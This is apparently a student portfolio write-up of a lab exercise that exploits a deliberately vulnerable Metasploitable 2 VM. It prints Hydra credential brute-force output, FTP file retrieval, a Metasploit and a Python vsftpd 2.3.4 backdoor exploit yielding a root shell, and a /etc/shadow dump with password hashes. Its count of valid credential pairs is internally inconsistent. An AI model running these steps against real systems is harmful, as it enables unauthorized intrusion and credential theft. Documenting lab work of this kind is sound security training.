

Controlled Exploitation of Vulnerable Services

Ethical Hacking Lab 4

Raliegth Barnett | Cybersecurity & Networking Portfolio

Portfolio Case Study - Detailed Project Oversight and Completion Record

All offensive-security activities described in this document were performed in authorized, isolated academic laboratory environments.

1. Project Overview

An authorized exploitation project demonstrating the security impact of weak credentials and deliberately vulnerable network services on Metasploitable 2. The report covers service discovery, FTP credential testing, proof-file retrieval, vsftpd backdoor validation, and post-exploitation verification.

Project Field	Details
Role and Responsibility	Penetration tester, lab operator, evidence collector, and remediation analyst.
Environment and Tools	Kali Linux, Metasploitable 2, Nmap, Hydra, FTP client, Searchsploit, Metasploit Framework, isolated host-only network.
Completion Status	Completed - documented, tested, and included in the master portfolio.
Portfolio Classification	Academic / personal technical project with recruiter-facing case-study documentation.

2. Project Objectives and Success Criteria

- Enumerate vulnerable services.
- Demonstrate credential risk using controlled wordlists.
- Validate a known backdoored service in an isolated lab.
- Collect proof of access without unnecessary system modification.
- Translate exploitation evidence into remediation guidance.

3. Project Oversight and Execution Process

3.1 Planning and Scope

Defined the authorized environment, project goal, tools, expected outputs, and safety limitations.

3.2 Implementation

Executed the technical tasks and maintained notes, commands, screenshots, and configuration evidence.

3.3 Validation and Testing

Compared actual output with objectives, confirmed repeatable behavior, and collected proof of completion.

3.4 Analysis and Reporting

Converted technical evidence into findings, defensive interpretation, limitations, and recommendations.

3.5 Portfolio Finalization

Prepared a recruiter-friendly summary, detailed case study, screenshots, source report, and public-release guidance.

4. Technical Methodology

1. Ran a full-port service/version scan.
2. Prepared controlled user/password lists and tested FTP with Hydra.
3. Connected using discovered credentials and retrieved a designated proof file.
4. Researched and executed the vsftpd 2.3.4 lab exploit.
5. Verified session context with basic system commands.
6. Documented ethical scope and defensive controls.

5. Deliverables and Completion Evidence

Deliverable	Status	Evidence
Technical implementation / lab execution	Complete	Commands, configurations, code, or forensic workflow documented.
Testing and validation	Complete	Results and screenshots included below and in the original report.
Detailed project documentation	Complete	This case-study document and README.
Source/original evidence	Complete	Original report or source files stored in this project folder.
Recruiter-ready description	Complete	Summary and skills section included.
Public publishing review	Required before posting	Remove credentials, personal identifiers, confidential case data, and unnecessary target details.

6. Results and Outcomes

- The lab confirmed multiple weak credential pairs and demonstrated authorized file access.
- The backdoored FTP build produced a privileged shell in the deliberately vulnerable environment.
- Evidence established the impact of legacy software and default credentials.

7. Challenges, Decisions, and Lessons Learned

- Maintaining strict authorization and limiting post-exploitation activity.
- Clearly distinguishing proof-of-concept validation from destructive actions.

8. Screenshots and Supporting Evidence

```
Hydra v9.5 (c) 2023 by van Hauser/THC - Please do not use in military or
secret service
[DATA] attacking ftp://192.168.56.102:21/
[ATTEMPT] target 192.168.56.102 - login "service" - pass "service"
[21][ftp] host: 192.168.56.102    login: service    password: service
[21][ftp] host: 192.168.56.102    login: msfadmin    password: msfadmin
[21][ftp] host: 192.168.56.102    login: postgres   password: postgres
[21][ftp] host: 192.168.56.102    login: user       password: user
[STATUS] 6 valid pairs found
1 of 1 target successfully completed, 6 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-XX-XX
```

Result: Hydra reports 6 valid username/password pairs — the four above plus the weak 'service:service' match on multiple ports and the 'msfadmin:msfadmin' administrative account.

Step 2.3 — Connecting with a discovered credential and exfiltrating a file

```
$ ftp 192.168.56.102
Connected to 192.168.56.102.
220 (vsFTPD 2.3.4)
Name (192.168.56.102:kali): msfadmin
331 Please specify the password.
Password: msfadmin
230 Login successful.
Remote system type is UNIX.

ftp> ls
drwxr-xr-x    2 1000 1000    4096 Apr 28  2010 vulnerable

ftp> cd vulnerable
250 Directory successfully changed.
ftp> ls
drwxr-xr-x    2 0      0      4096 May  7  2010 samba

ftp> cd samba
ftp> ls
-rw-r--r--  1 0 0    7 May 7 2010 secret.txt

ftp> get secret.txt
local: secret.txt remote: secret.txt
200 PORT command successful.
150 Opening ASCII mode data connection for secret.txt (7 bytes).
226 File send OK.

ftp> bye

$ cat /home/kali/secret.txt
SECRET!
```

Key commands inside the ftp> prompt:

- ls — list the current directory
- cd <dir> — change directory

Controlled FTP credential test and proof-file retrieval.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.56.102
RHOSTS => 192.168.56.102
```

Run the exploit:

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run

[*] 192.168.56.102:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 192.168.56.102:21 - USER: 331 Please specify the password.
[+] 192.168.56.102:21 - Backdoor service has been spawned, handling...
[+] 192.168.56.102:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.56.101:44523 ->
192.168.56.102:6200)
```

Step 3.3 — Post-exploitation: run Linux commands

```
whoami
root

id
uid=0(root) gid=0(root)

hostname
metasploitable

uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008
i686 GNU/Linux

ifconfig
eth0 Link encap:Ethernet HWaddr 08:00:27:XX:XX:XX
      inet addr:192.168.56.102 Bcast:192.168.56.255 Mask:255.255.255.0
      UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

cat /etc/shadow | head -5
root:$1$/avpfBJ1$X0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7:::
daemon*:14684:0:99999:7:::
bin*:14684:0:99999:7:::
sys:$1$fUX6BP0t$MiyC3Up0zQJqz4s5wFD9l0:14742:0:99999:7:::
Result: full root access is obtained on the Metasploitable 2 host. From this shell the attacker can read /etc/shadow, install persistence, pivot to other hosts, etc. In a real engagement the /etc/shadow dump would be cracked offline with hashcat to recover additional passwords.
```

Step 3.4 — Alternative: running the Python exploit

```
$ searchsploit -m unix/remote/49757.py
Exploit: vsftpd 2.3.4 - Backdoor Command Execution
Copied to: /home/kali/49757.py

$ python3 49757.py 192.168.56.102
[+] Connecting to 192.168.56.102:21
[+] Backdoor triggered, shell on port 6200
# whoami
```

Authorized vsftpd exploit validation and session evidence.

9. Skills Demonstrated

Hydra, FTP, Metasploit, Searchsploit, Nmap, post-exploitation verification, ethical scoping, remediation reporting.

10. Recommendations and Future Improvements

- Add detection logs from IDS/host monitoring to show blue-team visibility.
- Include remediation retesting after credential and patch changes.

11. Portfolio and Resume Presentation

Controlled Exploitation of Vulnerable Services - An authorized exploitation project demonstrating the security impact of weak credentials and deliberately vulnerable network services on Metasploitable 2. The report covers service discovery, FTP credential testing, proof-file retrieval, vsftpd backdoor validation, and post-exploitation verification.

Recommended repository contents: README.md, Documentation/, Evidence/, Source/ or Original_Report/, and a clear authorization/privacy notice.

12. Completion Statement

This project is considered complete for portfolio use because the scope, implementation process, testing evidence, results, skills, limitations, and future improvements are documented. Before public release, sensitive data must be reviewed and removed.